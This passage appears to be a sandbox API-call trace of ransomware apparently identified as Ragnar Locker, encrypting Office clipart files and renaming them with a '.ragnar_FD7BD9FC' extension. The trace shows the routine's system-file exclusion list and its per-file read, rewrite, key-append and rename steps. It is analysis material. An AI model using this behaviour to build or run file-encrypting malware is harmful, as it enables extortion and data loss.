lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.644] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH02166_.WMF" | out: lpString1="HH02166_.WMF") returned="HH02166_.WMF" [0082.644] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned=".WMF" [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="autorun.inf") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="boot.ini") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="bootfont.bin") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="bootsect.bak") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="bootmgr") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="bootmgr.efi") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="desktop.ini") returned 1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="iconcache.db") returned -1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="ntldr") returned -1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="ntuser.dat") returned -1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="ntuser.ini") returned -1 [0082.644] lstrcmpiW (lpString1="HH02166_.WMF", lpString2="thumbs.db") returned -1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.644] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0082.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.645] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1324) returned 1 [0082.645] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x523, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.645] GetProcessHeap () returned 0x580000 [0082.645] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.645] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.646] VirtualAlloc (lpAddress=0x0, dwSize=0x52c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.647] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x52c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x52c, lpOverlapped=0x0) returned 1 [0082.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.647] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.647] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x52c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x52c, lpOverlapped=0x0) returned 1 [0082.647] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.647] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x52c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.647] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.647] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.648] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.648] GetProcessHeap () returned 0x580000 [0082.648] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.648] CloseHandle (hObject=0xf4) returned 1 [0082.648] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" [0082.648] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.ragnar_FD7BD9FC" [0082.648] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.648] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0082.648] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.648] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH02282_.WMF" | out: lpString1="HH02282_.WMF") returned="HH02282_.WMF" [0082.648] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned=".WMF" [0082.648] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.648] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="autorun.inf") returned 1 [0082.648] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="boot.ini") returned 1 [0082.648] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="bootfont.bin") returned 1 [0082.648] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="bootsect.bak") returned 1 [0082.648] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="bootmgr") returned 1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="bootmgr.efi") returned 1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="desktop.ini") returned 1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="iconcache.db") returned -1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="ntldr") returned -1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="ntuser.dat") returned -1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="ntuser.ini") returned -1 [0082.649] lstrcmpiW (lpString1="HH02282_.WMF", lpString2="thumbs.db") returned -1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.649] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0082.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.649] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7932) returned 1 [0082.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ef3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.649] GetProcessHeap () returned 0x580000 [0082.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.649] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.651] VirtualAlloc (lpAddress=0x0, dwSize=0x1efc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.651] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1efc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1efc, lpOverlapped=0x0) returned 1 [0082.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.652] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1efc, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.652] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1efc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1efc, lpOverlapped=0x0) returned 1 [0082.652] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1efc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.652] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1efc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.652] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.652] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.653] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.653] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.653] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.653] GetProcessHeap () returned 0x580000 [0082.653] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.653] CloseHandle (hObject=0xf4) returned 1 [0082.653] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" [0082.653] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.ragnar_FD7BD9FC" [0082.653] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.654] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0082.654] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.654] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH02298_.WMF" | out: lpString1="HH02298_.WMF") returned="HH02298_.WMF" [0082.654] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned=".WMF" [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="autorun.inf") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="boot.ini") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="bootfont.bin") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="bootsect.bak") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="bootmgr") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="bootmgr.efi") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="desktop.ini") returned 1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="iconcache.db") returned -1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="ntldr") returned -1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="ntuser.dat") returned -1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="ntuser.ini") returned -1 [0082.654] lstrcmpiW (lpString1="HH02298_.WMF", lpString2="thumbs.db") returned -1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0082.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.655] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5552) returned 1 [0082.655] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.655] GetProcessHeap () returned 0x580000 [0082.655] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.655] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.657] VirtualAlloc (lpAddress=0x0, dwSize=0x15b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.657] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15b0, lpOverlapped=0x0) returned 1 [0082.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.658] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15b0, lpOverlapped=0x0) returned 1 [0082.658] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.658] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.658] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.658] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.658] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.658] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.658] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.658] GetProcessHeap () returned 0x580000 [0082.658] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.658] CloseHandle (hObject=0xf4) returned 1 [0082.658] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" [0082.658] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.ragnar_FD7BD9FC" [0082.658] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.659] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0082.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.659] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH02312_.WMF" | out: lpString1="HH02312_.WMF") returned="HH02312_.WMF" [0082.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned=".WMF" [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", lpString2="autorun.inf") returned 1 [0082.659] lstrcmpiW (lpString1="HH02312_.WMF", 